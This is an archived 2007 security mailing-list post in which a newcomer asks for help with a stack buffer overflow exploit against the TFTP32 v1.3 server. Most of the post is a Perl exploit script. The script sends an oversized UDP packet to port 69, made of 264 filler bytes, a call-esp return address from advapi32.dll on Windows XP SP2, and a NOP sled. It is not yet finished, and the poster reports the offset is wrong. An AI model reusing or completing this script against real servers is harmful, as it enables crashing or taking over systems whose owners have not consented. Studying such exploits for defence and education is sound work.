Help needed in TFTP32v1.3 BO
wong yu liang <[email protected]> Tue, 16 Oct 2007 22:53:53 -0700 (PDT)
| Newsgroups | gmane.comp.security.vulnerabilities |
|---|---|
| Message-ID | <[email protected]> |
hi all,=20
i'm new to bufferoverflow. i've gone thru some basic
examples in bufferover now i'm trying to write my own
exploit based on this software. basically i found this
perl script somewhere on the net. it takes 264 bytes
to overflow with 4 byte extra for the EIP.
i''m using call esp , #0x77e2d9d3 advapi32.dll
winxp sp2 for the RET and i found that i'm still 4
bytes off when i dump the esp register in ollydbg.
i've some examples on the net like "add esp 10, ret 4"
, but i'm not sure what it means.
help someone can enlighten me on this. thanks=20
use IO::Socket;
$host =3D "10.10.10.2";#Target IP here
$port =3D "69";#Target Port Here. TFTP uses udp 69
#0x77e2d9d3 advapi32.dll
$shellcode=3D"\xd3\xd9\xe2\x77";
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";=
#NOPS
$shellcode.=3D"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";#NOPS
136
$buf =3D"\x00\x02";
$buf .=3D "\x41" x 264;
$buf .=3D $shellcode;
#Print size of buffer
print "Length: ", length($buf), "\n";
#Try to create socket
$socket =3D IO::Socket::INET->new(Proto =3D> "udp") or die
"Cannot Create Socket:
$@\n";
$ipaddr =3D inet_aton($host) || $host;
$portaddr =3D sockaddr_in($port, $ipaddr);
#Send our evil buffer
send($socket, $buf, 0, $portaddr) =3D=3D length($buf) or
die "Cannot Send Buffer:
$!\n";
print "All Done\n";
=20
_________________________________________________________________________=
___________
Be a better Heartthrob. Get better relationship answers from someone who =
knows. Yahoo! Answers - Check it out.=20
http://answers.yahoo.com/dir/?link=3Dlist&sid=3D396545433